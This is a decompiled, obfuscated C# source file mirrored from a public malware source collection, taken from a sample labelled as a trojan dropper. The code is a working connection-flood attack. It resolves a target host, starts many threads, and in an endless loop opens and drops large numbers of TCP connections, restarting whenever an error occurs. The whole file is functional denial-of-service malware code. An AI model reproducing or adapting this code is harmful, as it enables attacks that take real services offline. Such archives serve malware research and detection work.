mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
131 lines
3.7 KiB
C#
131 lines
3.7 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: .
|
|||
|
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
|
|||
|
|
|||
|
using \u0007;
|
|||
|
using System;
|
|||
|
using System.Net;
|
|||
|
using System.Net.Sockets;
|
|||
|
using System.Runtime.InteropServices;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace \u0007
|
|||
|
{
|
|||
|
internal sealed class \u0008
|
|||
|
{
|
|||
|
private static ThreadStart[] \u0001;
|
|||
|
private static Thread[] \u0001;
|
|||
|
public static string \u0001;
|
|||
|
private static IPEndPoint \u0001;
|
|||
|
public static ushort \u0001;
|
|||
|
private static \u0008.\u0001[] \u0001;
|
|||
|
public static int \u0001;
|
|||
|
public static int \u0002;
|
|||
|
public static bool \u0001 = false;
|
|||
|
|
|||
|
public static void \u000F()
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u0008.\u0001 = new IPEndPoint(Dns.GetHostEntry(\u0008.\u0001).AddressList[0], (int) \u0008.\u0001);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
\u0008.\u0001 = new IPEndPoint(IPAddress.Parse(\u0008.\u0001), (int) \u0008.\u0001);
|
|||
|
}
|
|||
|
\u0008.\u0001 = new Thread[\u0008.\u0002];
|
|||
|
\u0008.\u0001 = new ThreadStart[\u0008.\u0002];
|
|||
|
\u0008.\u0001 = new \u0008.\u0001[\u0008.\u0002];
|
|||
|
for (int index = 0; index < \u0008.\u0002; ++index)
|
|||
|
{
|
|||
|
\u0008.\u0001[index] = new \u0008.\u0001(\u0008.\u0001, \u0008.\u0001);
|
|||
|
\u0008.\u0001[index] = new ThreadStart(\u0008.\u0001[index].\u000F);
|
|||
|
\u0008.\u0001[index] = new Thread(\u0008.\u0001[index]);
|
|||
|
\u0008.\u0001[index].Start();
|
|||
|
}
|
|||
|
\u0008.\u0001 = true;
|
|||
|
}
|
|||
|
|
|||
|
public static void \u0010()
|
|||
|
{
|
|||
|
for (int index = 0; index < \u0008.\u0002; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u0008.\u0001[index].Abort();
|
|||
|
\u0008.\u0001[index].Join();
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
\u0008.\u0001 = false;
|
|||
|
}
|
|||
|
}
|
|||
|
\u0008.\u0001 = false;
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u0001
|
|||
|
{
|
|||
|
private IPEndPoint \u0001;
|
|||
|
private Socket[] \u0001;
|
|||
|
private int \u0001;
|
|||
|
|
|||
|
public \u0001([In] IPEndPoint obj0, [In] int obj1)
|
|||
|
{
|
|||
|
this.\u0001 = obj0;
|
|||
|
this.\u0001 = obj1;
|
|||
|
}
|
|||
|
|
|||
|
private void \u000F([In] IAsyncResult obj0)
|
|||
|
{
|
|||
|
}
|
|||
|
|
|||
|
public void \u000F()
|
|||
|
{
|
|||
|
label_0:
|
|||
|
try
|
|||
|
{
|
|||
|
while (true)
|
|||
|
{
|
|||
|
this.\u0001 = new Socket[this.\u0001];
|
|||
|
for (int index = 0; index < this.\u0001; ++index)
|
|||
|
{
|
|||
|
this.\u0001[index] = new Socket(this.\u0001.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
|
|||
|
this.\u0001[index].Blocking = false;
|
|||
|
AsyncCallback callback = new AsyncCallback(this.\u000F);
|
|||
|
this.\u0001[index].BeginConnect((EndPoint) this.\u0001, callback, (object) this.\u0001[index]);
|
|||
|
}
|
|||
|
Thread.Sleep(100);
|
|||
|
for (int index = 0; index < this.\u0001; ++index)
|
|||
|
{
|
|||
|
if (this.\u0001[index].Connected)
|
|||
|
this.\u0001[index].Disconnect(false);
|
|||
|
this.\u0001[index].Close();
|
|||
|
this.\u0001[index] = (Socket) null;
|
|||
|
}
|
|||
|
this.\u0001 = (Socket[]) null;
|
|||
|
}
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
for (int index = 0; index < this.\u0001; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (this.\u0001[index].Connected)
|
|||
|
this.\u0001[index].Disconnect(false);
|
|||
|
this.\u0001[index].Close();
|
|||
|
this.\u0001[index] = (Socket) null;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
goto label_0;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|